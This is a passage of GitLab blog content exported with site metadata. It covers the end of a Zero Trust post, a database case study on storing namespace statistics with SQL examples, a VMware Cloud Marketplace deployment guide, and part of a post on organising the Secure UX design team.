past, I worked for a company that sold (among other things) system administration tools. One day our boss handed us a list of compliance guidelines for three different standards. We were to go through each bullet item for each standard, point out the system administrative tools and the various system checks in our products that lined up with each bullet item, and write them down. This process took a few days, and by the end of the week each compliance standard had a list of checks. The product team grouped these checks together, and just like that we were a compliance company. Now the product line was actually quite good and robust which made this fairly easily, but the pivot of the company to being compliance-focused took longer for that marketing team to print up flyers than it did for the tech part. Yes, we were incomplete – we weren’t asked to write additional checks, we were asked to just use existing checks. But we literally were ready in less than a week with something we could call compliance.\n\nMy point here is that I often get the feeling that ZTN vendors do the same thing. They looked over their existing product line, figured out what they could even remotely claim as being a part of a “Zero Trust” solution, and overnight became a ZTN solutions provider. Of course, if your own organization’s world view on what ZTN is lines up with a particular vendor, great! Buy it. But, for GitLab, we had to break down what we wanted the various components of our technology and data to do and align them with our own ideas of ZTN, refine our model, and then go find vendors that did extremely specific things. For example, we’ve approached Okta with the breakdowns we are trying to solve – and they have products that solve them. For the most part we’ve ignored the whole “ZTN packaged solutions” approach and went after the core of what their products do, and we’re solving our problems as a result.\n\n## Conclusion\nWe’re getting there. We have a lot of wins, and a number of interesting challenges. Every once in a while we will post a new blog to keep you current on our security saga with Zero Trust, and hopefully you can learn from our examples – including our challenges – and help make your systems, data, and users as secure as possible. We hope you’ll follow along and, if you’ve got a ZTN viewpoint to share, we invite you to comment below.\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [Puria Berenji](https://unsplash.com/@ipuriagram?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText). \n{: .note}\n\n",[676,674,6141],{"slug":26855,"featured":6,"template":678},"zero-trust-at-gitlab-where-do-we-go-from-here","content:en-us:blog:zero-trust-at-gitlab-where-do-we-go-from-here.yml","Zero Trust At Gitlab Where Do We Go From Here","en-us/blog/zero-trust-at-gitlab-where-do-we-go-from-here.yml","en-us/blog/zero-trust-at-gitlab-where-do-we-go-from-here",{"_path":26861,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26862,"content":26867,"config":26872,"_id":26874,"_type":16,"title":26875,"_source":17,"_file":26876,"_stem":26877,"_extension":20},"/en-us/blog/database-case-study-store-and-update-namespace-statistics",{"title":26863,"description":26864,"ogTitle":26863,"ogDescription":26864,"noIndex":6,"ogImage":15919,"ogUrl":26865,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26865,"schema":26866},"Store and update namespace statistics in a performant manner","Explore all the different engineering approaches to store and update the namespace statistics in a performant manner.","https://about.gitlab.com/blog/database-case-study-store-and-update-namespace-statistics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Store and update namespace statistics in a performant manner\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mayra Cabrera\"}],\n        \"datePublished\": \"2019-10-14\",\n      }",{"title":26863,"description":26864,"authors":26868,"heroImage":15919,"date":26869,"body":26870,"category":734,"tags":26871},[1955],"2019-10-14","\nManaging storage space on large GitLab instances, such as GitLab.com, can be a challenge. At the moment, we only have a restriction on repository limits, but no restriction on most of the other items that can consume storage space: wiki, lfs objects, artifacts, and packages, to mention a few.\n\nWe want to facilitate a method for easily viewing the amount of storage consumed by a group and allow easy management on GitLab.com by setting [storage and limits management for groups](https://gitlab.com/groups/gitlab-org/-/epics/886). But to do that we need a way to track the statistics of a namespace, whether it is a Group or a User namespace.\n\n## Proposal to track the statistics of a namespace\n\n1. Create a new ActiveRecord model to hold the namespaces' statistics in an aggregated form: Only for root namespaces.\n2. Refresh the statistics in this model every time a project belonging to this namespace is changed.\n\nThe \"refresh\" part is the tricky one. Currently we don't have a pattern to update/refresh the namespace statistics every time a project belonging to the namespace is updated.\n\nWe refreshed projects statistics in the following way:\n\n1. We have a model called `ProjectStatistics`,\n2. The records on `ProjectStatistics` are updated through a [callback](https://gitlab.com/gitlab-org/gitlab-ce/blob/v12.2.0.pre/app/models/project.rb#L90) every time the project is saved.\n3. The summary of those statistics per namespace is then retrieved by [`Namespaces#with_statistics`](https://gitlab.com/gitlab-org/gitlab-ce/blob/v12.2.0.pre/app/models/namespace.rb#L70) scope.\n\nAnalyzing this query we noticed that:\n\n- It takes up to `1.2` seconds for namespaces with over `15 000` projects.\n- Any attempt to run `EXPLAIN ANALYZE` results in query timeouts (15 seconds) when using our internal tooling.\n\nAdditionally, the callback to update the project statistics doesn't scale. It is currently one of the most [frequently run and expensive database queries](https://gitlab.com/gitlab-org/gitlab-ce/issues/62488) on GitLab.com. We can't add one more query to it as\nit will increase the transaction's length.\n\nBecause of these reasons, we can't apply the same pattern to store\nand update the namespaces' statistics, as the `namespaces` table is one\nof the largest tables on GitLab.com. Therefore, we have to find a performant and\nalternative method.\n\n## Our Attempts\n\n### Attempt A: PostgreSQL materialized view\n\nUpdate the ActiveRecord model with a refresh strategy based on project routes and a [materialized view](https://www.postgresql.org/docs/9.6/rules-materializedviews.html):\n\n```sql\nSELECT split_part(\"rs\".path, '/', 1) as root_path,\n        COALESCE(SUM(ps.storage_size), 0) AS storage_size,\n        COALESCE(SUM(ps.repository_size), 0) AS repository_size,\n        COALESCE(SUM(ps.wiki_size), 0) AS wiki_size,\n        COALESCE(SUM(ps.lfs_objects_size), 0) AS lfs_objects_size,\n        COALESCE(SUM(ps.build_artifacts_size), 0) AS build_artifacts_size,\n        COALESCE(SUM(ps.packages_size), 0) AS packages_size\nFROM \"projects\"\n    INNER JOIN routes rs ON rs.source_id = projects.id AND rs.source_type = 'Project'\n    INNER JOIN project_statistics ps ON ps.project_id  = projects.id\nGROUP BY root_path\n```\n\nWe could then execute the query with:\n\n```sql\nREFRESH MATERIALIZED VIEW root_namespace_storage_statistics;\n```\n\nWhile this implied a single query update, it has some downsides:\n\n- The query itself would not be fast, as it would need to update all the statistics every time it runs. Execution time of this query will increase as the number of namespaces and projects grow.\n- Materialized views syntax varies from PostgreSQL and MySQL. At the time this feature was worked on, [GitLab still supported MySQL, which it now no longer supports.](/blog/removing-mysql-support/).\n- Rails does not have native support for materialized views. We'd need to use a specialized gem to take care of the management of the database views, which implies additional work.\n\n### Attempt B: An update through a CTE\n\nUpdate the ActiveRecord model with a refresh strategy through a [Common Table Expression](https://www.postgresql.org/docs/9.1/queries-with.html).\n\n```sql\nWITH refresh AS (\n  SELECT split_part(\"rs\".path, '/', 1) as root_path,\n        COALESCE(SUM(ps.storage_size), 0) AS storage_size,\n        COALESCE(SUM(ps.repository_size), 0) AS repository_size,\n        COALESCE(SUM(ps.wiki_size), 0) AS wiki_size,\n        COALESCE(SUM(ps.lfs_objects_size), 0) AS lfs_objects_size,\n        COALESCE(SUM(ps.build_artifacts_size), 0) AS build_artifacts_size,\n        COALESCE(SUM(ps.packages_size), 0) AS packages_size\n  FROM \"projects\"\n        INNER JOIN routes rs ON rs.source_id = projects.id AND rs.source_type = 'Project'\n        INNER JOIN project_statistics ps ON ps.project_id  = projects.id\n  GROUP BY root_path)\nUPDATE namespace_storage_statistics\nSET storage_size = refresh.storage_size,\n    repository_size = refresh.repository_size,\n    wiki_size = refresh.wiki_size,\n    lfs_objects_size = refresh.lfs_objects_size,\n    build_artifacts_size = refresh.build_artifacts_size,\n    packages_size  = refresh.packages_size\nFROM refresh\n    INNER JOIN routes rs ON rs.path = refresh.root_path AND rs.source_type = 'Namespace'\nWHERE namespace_storage_statistics.namespace_id = rs.source_id\n```\n\nUnlike Attempt A, a CTE will be limited to the namespace we care about instead of operating on all namespaces. The downside of it,\nis that earlier versions of MySQL do not support Common Table Expressions.\n\n### Attempt C: Get rid of the model and store the statistics on Redis\n\nWe could get rid of the model that stores the statistics in aggregated form and instead use a Redis Set.\nThis would be the [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions) and the fastest one\nto implement, as GitLab already includes [Redis](https://docs.gitlab.com/ee/development/architecture.html#redis) as part of its Architecture.\n\nThe downside of this approach is that Redis does not provide the same persistence/consistency guarantees as PostgreSQL,\nand the namespace statistics are information we can't afford to lose in a case of a Redis failure. Also, searching for\ninformation like the largest namespaces per repository size will be easier to do in PostgreSQL than in Redis.\n\n### Attempt D: Tag the root namespace and its child namespaces\n\nDirectly relate the root namespace to its child namespaces, so\nwhenever a child namespace is created, it's also tagged with the\nroot namespace ID:\n\n| id | root_id | parent_id\n|:---|:--------|:----------\n| 1  | 1       | NULL\n| 2  | 1       | 1\n| 3  | 1       | 2\n\nTo aggregate the statistics inside a namespace we'd execute something like:\n\n```sql\nSELECT COUNT(...)\nFROM projects\nWHERE namespace_id IN (\n  SELECT id\n  FROM namespaces\n  WHERE root_id = X\n)\n```\n\nEven though this approach would make aggregating much easier, it has some major downsides:\n\n- We'd have to migrate **all namespaces** by adding and filling a new column. Because of the size of the table, dealing with the time/cost will not be great. The [background migration will take approximately 153 hours](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/29772#note_182201607).\n- The background migration has to be shipped one release before we want to start using the new data, delaying the functionality by another milestone.\n\n### Attempt E: Update the namespace storage statistics asynchronously\n\nFor this approach we continue using the incremental statistics updates we already have,\nbut we refresh them through Sidekiq jobs and in different SQL transactions:\n\n1. Create a second table (`namespace_aggregation_schedules`) with two columns `id` and `namespace_id`.\n1. Whenever the statistics of a project changes, insert a row into `namespace_aggregation_schedules`\n   - We don't insert a new row if there's already one related to the root namespace.\n   - Keeping in mind the length of the transaction that involves [updating `project_statistics`](https://gitlab.com/gitlab-org/gitlab-ce/issues/62488), the insertion should be done in a different transaction and through a Sidekiq Job.\n1. After inserting the row, we schedule another worker to be executed async at two different moments:\n   - One enqueued for immediate execution and another one scheduled in `1.5h` hours.\n   - We only schedule the jobs if we can obtain a `1.5h` lease on Redis on a key based on the root namespace ID.\n   - If we can't obtain the lease it indicates there's another aggregation already in progress or scheduled in no more than `1.5h`.\n1. This worker will:\n   - Update the root namespace storage statistics by querying all the namespaces through a service.\n   - Delete the related `namespace_aggregation_schedules` after the update.\n1. Another Sidekiq job is also included to traverse any remaining rows on the `namespace_aggregation_schedules` table and schedule jobs for every pending row.\n   - This job is scheduled with cron to run every night (UTC).\n\nThis implementation has the following benefits:\n\n- All the updates are done async, so we're not increasing the length of the transactions for `project_statistics`.\n- We're doing the update in a single SQL query.\n- It is compatible with PostgreSQL and MySQL.\n- No background migration is required.\n\nThe downsides of this approaches are:\n\n* Namespaces' statistics are updated up to `1.5` hours after the change is done, which means there's a brief window in time where the statistics are inaccurate. This is not a major problem because we're not currently [enforcing storage limits](https://gitlab.com/gitlab-org/gitlab-ce/issues/30421).\n* From the implementation perspective, this approach is more complex than the migration approach (Attempt D).\n* `namespace_aggregation_schedules` table will see a high rate of inserts and deletes, which may require that we tune auto vacuuming for this table.\n\nWe went with *Attempt E* because updating the storage statistics asynchronously was the less problematic and\nperformant approach of aggregating the root namespaces.\n\n## Enabling the feature on GitLab.com\n\nGiven this is a performance improvement, we have to be very careful introducing this change to GitLab.com: Which is why\nwe decided to release it under [feature flag](https://docs.gitlab.com/ee/development/feature_flags/) and roll it out gradually by:\n\n1. Enable it on our staging environment and measure the performance.\n2. Enable it on GitLab.com on different periods for the `gitlab-org` group and measure the performance.\n3. Enable it globally on GitLab.com on different periods and measure the performance.\n\nFinally if no problem arises, we can be confident this change performs properly on GitLab.com and we can\nremove the feature flag.\n\n## Measuring the performance\n\nTo assess the execution of this approach, we monitored the [Sidekiq dashboards](https://dashboards.gitlab.com/d/9GOIu9Siz/sidekiq-stats?orgId=1) on Kibana to ensure jobs were being executed flawlessly and without using too much memory or CPU. Particularly, we observed the \"Sidekiq queue size,\" \"Rate of running jobs,\" and \"Running jobs\" dashboards.\n\n### On staging\n\nThe feature was enabled globally on staging and the execution of the jobs was satisfactory. But there was barely any traffic to measure the impact of our changes:\n\n![Graph showing the queue size of the ScheduleAggregationWorker on staging](https://about.gitlab.com/images/blogimages/namespace_statistics/staging-1.png){: .shadow.medium.center}\n\n### Enabling root namespaces on GitLab.com\n\nOur results were different on GitLab.com. We first enabled it for the `gitlab-org` group and we quickly started to observe more traffic:\n\n![Graph showing the queue size of the ScheduleAggregationWorker on GitLab.com](https://about.gitlab.com/images/blogimages/namespace_statistics/production-1.png){: .shadow.medium.center}\n\n![Graph showing the running jobs of the ScheduleAggregationWorker on GitLab.com](https://about.gitlab.com/images/blogimages/namespace_statistics/production-2.png){: .shadow.medium.center}\n\nOnce we enabled the feature flag globally, the rate of running jobs increased considerably:\n\n![Graph showing the rate running jobs of the ScheduleAggregationWorker on GitLab.com](https://about.gitlab.com/images/blogimages/namespace_statistics/production-3.png){: .shadow.medium.center}\n\n![Graph showing the rate running jobs of the RootStatisticsWorker on GitLab.com](https://about.gitlab.com/images/blogimages/namespace_statistics/production-4.png){: .shadow.medium.center}\n\n## Root namespaces on GitLab.com today\n\nWe currently have nearly `400 000` statistics stored for root namespaces on GitLab.com, which are updated at a high pace.\nBeing able to efficiently fetch those statistics allows one to easily track the top biggest repositories and/or namespaces on an instance\nand to start paving the way to enforce storage limits for groups on GitLab.com.\n\nLearn more about this use case by reading:\n\n- [The original issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/62214)\n- [Merge Request with the implementation](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/28996)\n- [Details of the performance measured against staging and production (GitLab.com)](https://gitlab.com/gitlab-org/gitlab-ce/issues/64092)\n\nCover photo by [Bill Oxford](https://unsplash.com/@bill_oxford?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/engineering?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[676],{"slug":26873,"featured":6,"template":678},"database-case-study-store-and-update-namespace-statistics","content:en-us:blog:database-case-study-store-and-update-namespace-statistics.yml","Database Case Study Store And Update Namespace Statistics","en-us/blog/database-case-study-store-and-update-namespace-statistics.yml","en-us/blog/database-case-study-store-and-update-namespace-statistics",{"_path":26879,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26880,"content":26886,"config":26893,"_id":26895,"_type":16,"title":26896,"_source":17,"_file":26897,"_stem":26898,"_extension":20},"/en-us/blog/gitlab-on-vmware-cloud-marketplace",{"title":26881,"description":26882,"ogTitle":26881,"ogDescription":26882,"noIndex":6,"ogImage":26883,"ogUrl":26884,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26884,"schema":26885},"GitLab for Cloud Native Transformation on VMware Marketplace","Guest authors from VMware share how to accelerate your software delivery process in just a few clicks with Bitnami and GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680841/Blog/Hero%20Images/bitnami-gitlab.png","https://about.gitlab.com/blog/gitlab-on-vmware-cloud-marketplace","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Enterprise Edition now available for VMware Cloud Marketplace users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Raquel Campuzano\"}],\n        \"datePublished\": \"2019-10-11\",\n      }",{"title":26887,"description":26882,"authors":26888,"heroImage":26883,"date":26890,"body":26891,"category":299,"tags":26892},"GitLab Enterprise Edition now available for VMware Cloud Marketplace users",[26889],"Raquel Campuzano","2019-10-11","\n\nHave you ever tried to choose from an extensive list of developer tools and wondered what you should do next? You’re not alone. There are hundreds of solutions to choose from, which can make it challenging to select the right solution and deploy.\n\nNow, GitLab and Bitnami have partnered to offer VMware users [GitLab](https://marketplace.cloud.vmware.com/services/details/129dc4e9-191d-405f-ab4d-803d56f366a9) in the VMware Cloud Marketplace. This version package is free, fully functional, and easy to [upgrade to an enterprise plan](https://docs.bitnami.com/vmware-marketplace/apps/gitlab-ee/get-started/license/).\n\n### Reduce costs and avoid security risks\nAs the industry leader in application packaging, Bitnami helped GitLab create an easy, click-to-deploy, open source solution. The GitLab Enterprise Edition (CORE) Virtual Appliance certified by Bitnami is an up-to-date and secure image that includes the latest versions of the application, its components, and the most recent security fixes. You can run GitLab with confidence; Bitnami’s automated pipeline and tools for building and testing applications ensure this application can run on any platform without issues. If you experience any problems deploying the solution, you can contact the [Bitnami Support team](https://community.bitnami.com/c/gitlab) with your questions.\n\n### Run on VMware infrastructure in a few clicks\nTo make GitLab available in the [VMware Cloud Marketplace](https://marketplace.cloud.vmware.com/services/details/129dc4e9-191d-405f-ab4d-803d56f366a9), GitLab placed its trust in Bitnami’s expertise in packaging. GitLab users now have the ability to run the latest version on their VMware infrastructure in a few clicks.\n\n### Some of the key benefits of GitLab's marketplace listing:\n* GitLab includes a built-in container registry and Kubernetes integration, enabling you to quickly create a [continuous integration (CI)](/solutions/continuous-integration/) pipeline with Kubernetes. Learn more about [creating a CI/CD pipeline with GitLab and Kubernetes](https://docs.bitnami.com/tutorials/create-ci-cd-pipeline-gitlab-kubernetes/).\n* By deploying GitLab on a VMware cloud server, you can add a budget- and resource-checking stage to your pipeline. This allows you to implement best practices into your continuous deployment (CD) process and control the consumption and costs of your application deployments.\n* Premium features such as code quality and performance testing, static and dynamic application security testing, package dependency analysis, and automated tests for vulnerabilities enable you to identify and remediate issues and security breaches from development to monitoring stages. Learn more about [building misconfiguration and vulnerability checks into your CI/CD pipeline to achieve continuous security](https://thenewstack.io/how-continuous-security-can-solve-the-cloud-protection-conundrum/).\n\n### How do you get started? We’ll show you how\nIn order to upgrade your GitLab Core version to enjoy the Enterprise Edition features, take the following steps:\n\n1) First log into the [VMware Cloud Marketplace](https://marketplace.cloud.vmware.com/services/details/129dc4e9-191d-405f-ab4d-803d56f366a9) and browse for the “GitLab Enterprise (CORE) Virtual Appliance” solution.\n\n2) Then click to view the details. Note: The GitLab Enterprise (CORE) Virtual Appliance is available in the [VMware Cloud Marketplace](https://marketplace.cloud.vmware.com/services/details/129dc4e9-191d-405f-ab4d-803d56f366a9) in two deployment options: VMware Cloud on AWS (VMC) or vCloud Director (VCD).\n\n![GitLab is available in the VMware Cloud Marketplace in two deployment options: VMware Cloud on AWS (VMC) or vCloud Director (VCD)](https://about.gitlab.com/images/blogimages/gitlabonvmware1.png){: .shadow.medium.center}\n\n3) To deploy the application both on VMC or VCD, you need to first subscribe to the image, as shown below:\n\n![To deploy the application both on VMC or VCD, you need to first subscribe, as shown below](https://about.gitlab.com/images/blogimages/subscribetovmwmarketplace.png){: .shadow.medium.center}\n\n4) Then, select the platform where you wish to deploy it, as shown below:\n\n![After subscribing, select the VMC or VCD platform where you wish to deploy](https://about.gitlab.com/images/blogimages/deploytovmwplatform.png){: .shadow.medium.center}\n\n5) Depending on the platform you select, you will be redirected to the vSphere Client or vCloud Director platform. Follow these instructions to launch a [GitLab Enterprise (CORE) Virtual Appliance using the vSphere Client](https://docs.bitnami.com/vmware-marketplace/apps/gitlab-ee/get-started/get-started-vmware-cloud/) or as a [vApp from VMware vCloud Director](https://docs.bitnami.com/vmware-marketplace/get-started-vcloud-director/).\n\n6) When you deploy the [GitLab Enterprise (CORE) Virtual Appliance certified by Bitnami](https://marketplace.cloud.vmware.com/services/details/129dc4e9-191d-405f-ab4d-803d56f366a9), you get the free and fully functional [Core version of GitLab](/pricing/#self-managed), which is easily upgradable to Starter, Premium, or Ultimate. To upgrade, sign into the application, navigate to the “Admin Area,” and then select the “License” menu option. As you can see in the image below, you now have the option to either upload your `.gitlab-license` file or start a [free trial](/free-trial/).\n\nNote: If you start a free trial, you will be able to try all the paid features for 30 days. After that time, your server will revert to Core features.\n{: .alert .alert-info}\n\n![To upgrade, sign into the application, navigate to the “Admin Area,” and then select the “License” menu option](https://about.gitlab.com/images/blogimages/vmwmarketplacefreetrial.png){: .shadow.medium.center}\n\n\n7) Once you activate your license, paid features will be enabled as shown below and you can start deploying with confidence.\n\n![Once you activate your license, paid features will be enabled](https://about.gitlab.com/images/blogimages/vmwpremiumfeatures.png){: .shadow.medium.center}\n\n## Conclusion\n\nWhat used to be a complex task is now just a few clicks, without compromising your budget and your security. Enjoy all the advantages of the GitLab in the VMware Cloud Marketplace and accelerate your software delivery process by leveraging the simplicity of the Bitnami experience.\n\n[Get started now](https://marketplace.cloud.vmware.com/services/details/129dc4e9-191d-405f-ab4d-803d56f366a9). If you have any questions, feel free to reach out to the Bitnami Support team!\n\n### About the guest author\n\nRaquel Campuzano is a Content Marketing Specialist at Bitnami, now part of VMware. She is in charge of managing the creation of technical content that allows developers to deploy awesome software everywhere. Raquel was part of the Bitnami team as technical writer. Her know-how creating tutorials, product documentation, and videos gave her the ability to identify in which stage of developer’s journey the user experience can be improved.\n\nPrevious to Bitnami, she led the communication and marketing strategy for Redborder (cybersecurity) and Oklan (network and hosting services). She is also a member of Ping a Programadoras, a non-profit organisation focused on promoting women’s inclusion in programming and software development.\n",[110,3949,4103,232],{"slug":26894,"featured":6,"template":678},"gitlab-on-vmware-cloud-marketplace","content:en-us:blog:gitlab-on-vmware-cloud-marketplace.yml","Gitlab On Vmware Cloud Marketplace","en-us/blog/gitlab-on-vmware-cloud-marketplace.yml","en-us/blog/gitlab-on-vmware-cloud-marketplace",{"_path":26900,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26901,"content":26906,"config":26912,"_id":26914,"_type":16,"title":26915,"_source":17,"_file":26916,"_stem":26917,"_extension":20},"/en-us/blog/how-we-uxd-our-secure-ux-team",{"title":26902,"description":26903,"ogTitle":26902,"ogDescription":26903,"noIndex":6,"ogImage":18477,"ogUrl":26904,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26904,"schema":26905},"How we UX'd our Secure UX team structure","The Secure UX team's approach toward collaboration, authorship, information discovery and team structure.","https://about.gitlab.com/blog/how-we-uxd-our-secure-ux-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we UX'd our Secure UX team structure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kyle Mann\"},{\"@type\":\"Person\",\"name\":\"Andy Volpe\"}],\n        \"datePublished\": \"2019-10-11\",\n      }",{"title":26902,"description":26903,"authors":26907,"heroImage":18477,"date":26890,"body":26910,"category":299,"tags":26911},[26908,26909],"Kyle Mann","Andy Volpe","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAt GitLab, change is part of our DNA. We embrace constant iteration and evolution in our product and our company.\n\nThis year, much of the change we’ve experienced has been due to company growth. We’ve literally doubled in size, increasing from around 400 to over 800 team members in a very short period of time. Naturally, that growth brought changes to how we organize our product teams. What were once small, interdisciplinary stage groups quickly grew to become multiple, dedicated teams within each Stage. For example, in Secure, we saw the creation of three separate teams, all with dedicated Engineering resources and Product Managers.\n\nOn the UX team structure side of things, we knew we needed to support our Stage by creating a similar division of responsibilities. But questions kept coming up: How would we divide our efforts while still creating an integrated experience? And how could we address some gaps that were already becoming more evident as we scaled?\n\nWe decided to treat this problem like we do any other UX challenge. First, we clearly identified the problem:\n\n```\nHow might we maintain our effectiveness as a design team within an evolving company structure?\n```\n\nWith the problem identified, we began iterating through solutions and identifying subtasks and processes that helped to solve it.\n\nSomething we learned early on is that what we create today will likely be outdated next week... and we’re okay with that! Problem solving for scale and unknown change is difficult. Something that works with a team of 3 might not work with a team of 6. We were going to have to be flexible. We didn’t come out with exact answers or a silver bullet, but we did discover some best practices that helped along the way.\n\n## Taking the guess work out of UX\n\nUXers are a curious bunch. We’re always asking questions: who are our users, what problems are we solving, and why are we solving them? (And then we ask why again.) The purpose of these questions is to help remove guesswork from our proposed solutions. We wanted to approach solving this problem in the same way.\n\nSo, we started by putting together a [foundations document](https://gitlab.com/gitlab-org/gitlab-design/issues/333) that asked all of the usual questions. Then, we shared it cross-functionally, so anyone could contribute to the answers and add more questions.\n\nWe learned that we knew some things, but there was also a lot that we didn't know. That’s OK, because what you don't know can sometimes be more important than what you do know. Open questions can serve as a checklist of information to uncover.\n\nAsking (and answering some of) the questions in our foundations document resulted in the first iteration of our [Secure UX page](https://about.gitlab.com/handbook/product/ux/stage-group-ux-strategy/secure/). This page will grow over the next year, as we get to know our users and problem space through [research](https://gitlab.com/groups/gitlab-org/-/epics/1611), [UX Scorecards](https://about.gitlab.com/handbook/product/ux/ux-scorecards/), cross-stage collaboration, and talking with users. The key insights we gain will continue to inform our handbook page for shared team awareness.\n\nAndy:\n_\"Having this document in place helped us take inventory across the entire Stage of where the knowledge gaps exist and focus our efforts toward uncovering critical information.\"_\n\nKyle:\n_“When I joined the team, the foundations document project was a great way to peel the different layers of our product, drive conversation, and better understand cross-functional motivations. I’m elated that other stage groups have adopted the process and found it helpful!“_\n\n## Getting to know your team\n\nEarly on, we realized that we needed to have more face-to-face time than we were accustomed to. We met this challenge by having weekly 1:1s with each other and maintaining a consistent cycle of coffee chats with our Stage group counterparts. (It’s a little like doing user research to understand pain points and possible areas of confusion.)\n\nWhen a team is rapidly growing, it's crucial to embrace collaboration and transparency. Surfacing challenges early allows for opportunities to emerge before a problem does.\n\nFor us, there was no shortage of hard conversations and growing pains, but that was when real growth and progress happened.\n\nMaintaining and cultivating relationships with the team and the Stage has enabled us to have more productive conversations. As an unexpected result, we work more effectively asynchronously now more than ever and rely less on ad-hoc chats and meetings. But we still have our coffee chats and 1:1s. We aren't giving those up!\n\nKyle:\n_\"Sharing your vulnerabilities with each other is a powerful way to bring you closer together and evolve your team’s relationships. Establishing mutual trust compounds the effects of collaborative efforts and can be the difference between success and failure of a project.\"_\n\nAndy:\n_\"It's refreshing to be able to know and understand teammates’ thought processes, decision tendencies, and the way they like to communicate. It was a challenge, at first, adjusting to more synchronous communication and collaboration, but the results speak for themselves.\"_\n\n## Sharing work and splitting work\n\nSomething we realized after becoming a two-designer Secure UX team was that we were both trying to become experts on a diverse range of security topics. It’s an intrinsic trait of designers that we want to \"know all the things,\" so we can be informed when making design decisions.\n\nUnexpectedly, though, we were overlapping each other's work, which meant we weren't finding success or collaborating well.\n\nBy not having a dedicated area of focus within the Secure Stage, we each had conflicting views and approaches to the same features. We were continually \"rebasing\" our design and exploration work because of UX conflicts that manifested.\n\nSo we hired a UX manager.\n\nJust kidding!!! But when our new manager, [Valerie](https://about.gitlab.com/company/team/?department=ux-department#vkarnes), joined our team, she was able to guide us toward creating areas where we would have ownership.\n\nCoincidentally, the engineering team also split within the stage groups at this same time, giving us the opportunity to create dedicated areas of focus and align better with our counterparts.\n\nWe started the task of creating separate UX areas by running a quick brainstorming session with the Secure UX team (just like we do at the beginning of a new project). From there, we looked at the areas our Stage categories were meant to cover, and we began aggregating that information into this [mural board](https://app.mural.co/invitation/mural/gitlab2474/1560787085910?sender=avolpe0924&key=3738c3db-031c-44ba-b542-d7da00aa4bca). It was the same affinity mapping process we use to look for commonalities in research findings or stakeholder requirements..\n\nWhat the affinity map helped us quickly see was: while there were areas of clear ownership where we could split work, there were areas where we needed to share work, too. This [issue](https://gitlab.com/gitlab-org/gitlab-design/issues/458) summarizes what we learned.\n\n### Shared work\n\nHere’s the work that we decided to share:\n\n- Interacting with vulnerabilities\n- Status, reporting, and metrics for vulnerabilities\n- Information architecture and inter-stage experiences\n\nThese areas are core to the Secure experience, and they benefit from collaborative design work and exploration.  But the benefits don’t end with our product UX—they help our team work better together, too:\n\n- We gain an established common purpose.\n- Our trust grows as we get to know each other better.\n- We fail and succeed together.\n- We have more opportunities to create new and unique solutions.\n- We gain visibility into how another designer may have solved a similar problem in the past.\n\nBy sharing work, we’re also able to improve our onboarding experience for new product designers. When new teammates join, we work together to find a shared issue that will help them better understand the product and that they can contribute to without much domain knowledge.\n\nFor example, when [Becka](https://about.gitlab.com/company/team/?department=protect-ux-team#beckalippert) and [Camellia](https://about.gitlab.com/company/team/?department=secure-ux-team#cam.x) recently joined the team, we purposely chose [shared issues](https://gitlab.com/dashboard/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Secure%20UX%3A%3AShared) as excellent shadow opportunities. These serve as great introductions into the Stage and the security field and will help build their foundational knowledge in both.\n\nThese shared issues help everyone obtain a richer contextual understanding of the design problems we are solving for as a team. In the end, our product and experience will benefit as a result.\n\n### Split work\n\nWhile shared work has its advantages, so does splitting our efforts to focus on specific domains and features. The benefits we've seen:\n\n- We can work closely and consistently with engineers.\n- We’re able to grow our domain knowledge about a particular area.\n- We experience less of the friction caused by context switching.\n- We’re better able to envision and create an end-to-end experiences for our users.\n\nSplit work doesn't mean solo work, necessarily. The GitLab UX team hosts weekly group design feedback sessions where designers share their work and the UX team offers feedback. Our UX Director often says, \"I learn the most about our product in these sessions!\" We definitely agree.\n\nThat’s why we also do our best to share work during cross-functional meetings and asynchronously on our [Secure UX](https://www.youtube.com/playlist?list=PL05JrBw4t0KrFCe5BgUkzFrZifjforQOz) playlist on the [GitLab unfiltered YouTube](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A) channel. For us, a divide-and-conquer approach doesn't mean that other teammates aren’t involved.\n\nAn excellent example of collaborating on split work is the [UX Scorecard initiative](https://about.gitlab.com/handbook/product/ux/ux-scorecards/) in Q3 to collaborate on the new Security gates feature. This is a software composition feature (Kyle's split focus), though the MR aspect is closely related to vulnerabilities detected in the MR (Andy's split focus). In this case, Andy will conduct [#534](https://gitlab.com/gitlab-org/gitlab-design/issues/534), and Kyle will do [#533](https://gitlab.com/gitlab-org/gitlab-design/issues/533); then we'll work together on next steps and design improvement recommendations. Since each of the issues is tied to different personas, we see this is an opportunity for us to be an advocate for each unique user and focus strictly on their experience—all while working together on a cross-stage solution that benefits the feature.\n\nAndy:\n_“Having both a dedicated area of focus and shared areas of focus has given me an opportunity to dive deep into the specific niche areas of AppSec and uncover valuable insights about our users, their goals, and the technical challenges they face while still being able to see the bigger picture.”_\n\nKyle:\n_“Merging our efforts is a crucial aspect to our design process. This helps ensure our split work results in a cohesive experience for our users.”_\n\n## Putting it all together\n\nIn the next few months, we have two new designers joining Secure and another for 